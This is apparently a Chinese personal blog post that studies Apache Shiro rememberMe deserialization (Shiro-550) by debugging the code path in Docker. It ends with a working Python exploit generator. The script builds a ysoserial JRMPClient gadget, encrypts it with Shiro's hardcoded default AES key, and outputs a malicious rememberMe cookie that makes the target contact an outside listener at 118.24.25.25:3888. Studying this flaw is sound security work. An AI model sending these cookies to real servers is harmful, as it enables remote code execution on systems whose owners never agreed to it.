Close

shiro反序列化学习

shiro反序列化学习

最近国庆学习一下shiro的反序列化
用docker大法来远程调试
https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral
-w1246
getRememberedIdentity处下个断点
跟进去
-w847
getRememberedPrincipals

-w865
getRememberedSerializedIdentity
在这里从cookie中获得rememberMe的值
convertBytesToPrincipals
在这里有一个deserialize进行反序列化的操作
-w835

走了一次AES的解密
-w389

秘钥是通过这个函数拿的
搜索一下是怎么放进去的
-w823
通过了set的方法
在搜索一下这个在哪里调用
-w563
可以看到这个函数
再看一下key怎么来的
-w590
到当前类的构造方法里面了
key是大写的说明是个固定变量-w798
说明值是这个

aes的key也有了就说明可以自己构造一个cookie
-w732
然后走deserialize进反序列化的方法
-w797
到了这里可以看到readobject了
-w829
成功将rmi反序列化执行

疑难-w868

因为我是官网下载的shiro.war
自带的lib特别少能使用的gadget只有rmi这种
一直报-w983
这个错误
进入不到ois.readobject这个地方
-w339
lib只有这么多

-w1004
将commons-beautils换成1.9.2重新编译一下
一直编译不成功救命=。=以后再看看为啥编译一直不行

payload

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme('118.24.25.25:3888')

    print "rememberMe={0}".format(payload.decode())

参考

http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://lightless.me/archives/java-unserialization-apache-shiro.html
https://mp.weixin.qq.com/s?__biz=MzAxNDM3NTM0NQ==&mid=2657034900&idx=1&sn=e4ff58b08bc3107a189b25d80ca5c6db&chksm=803fc24ab7484b5c9bf32512f33ba19bdf2966cf28f26505bbfb75c94adc4ff9ee5b73bdd874&mpshare=1&scene=23&srcid=&sharer_sharetime=1568782056559&sharer_shareid=aa9f5a7b16d5a9f506f2d4dac5dbd342

Leave a Reply

Your email address will not be published. Required fields are marked *